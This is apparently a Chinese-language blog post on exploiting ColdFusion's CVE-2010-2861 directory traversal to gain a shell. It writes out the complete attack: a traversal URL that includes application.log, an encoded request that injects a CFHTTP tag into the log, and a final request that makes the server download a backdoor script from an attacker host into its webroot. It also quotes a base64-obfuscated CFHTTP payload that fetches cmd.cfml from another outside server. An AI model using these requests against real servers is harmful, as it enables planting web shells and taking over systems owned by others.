最近看老外的一篇文章说,CVE-2010-2861这个利用方法,只有看到过通过读取password.properties里的password字段,破解SHA-1值登陆后台,或者通过传递哈希登陆后台的,还没见过能直接得到SHELL的。其实我以前和小伙伴讨论过利用application.log本地包含CFM的方法,当时的利用方法是这样的:
首先看看application.log有没有在默认的目录:
http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\logs\application.log%00en
然后访问一个不存在的页面,注意编码问题,否则不成功的。
http://192.168.72.141:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml
这时候就会把<CFHTTP METHOD=Get URL=#URL.u# PATH=#URL.p# FILE=#URL.f#>
注入到application.log里了,看下图:
最后我们访问
http://10.18.180.23:8500//CFIDE/administrator/enter.cfm?locale=................\ColdFusion8\logs\application.log%00en&u=http://10.18.180.20/dvwa/hackable/uploads/xl.txt&p=C:\ColdFusion8\wwwroot&f=shell.cfm
就会从10.18.180.20上把xl.txt的CF后门脚本下载到目标机器的c:\ColdFusion8\wwwroot
目录了。
我们看看老外用的方法:思路都是一样的,就是他的payload选择的是
<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>
使用cfm的CFHTTP标签执行一个HTTP请求来取得192.168.1.97:8000 WEB服务器上的cmd.cfml文件,ToString(ToBinary是为了做BASE64编码,绕过一些字符的限制,比如/
下面说说此法的缺点:
1.不是通杀的方法,如果对方禁止对外的HTTP访问,此法不行
2.如果安装的时候是集成到IIS模式的,CF程序目录放到其他盘符的话,是没法使用../跨目录的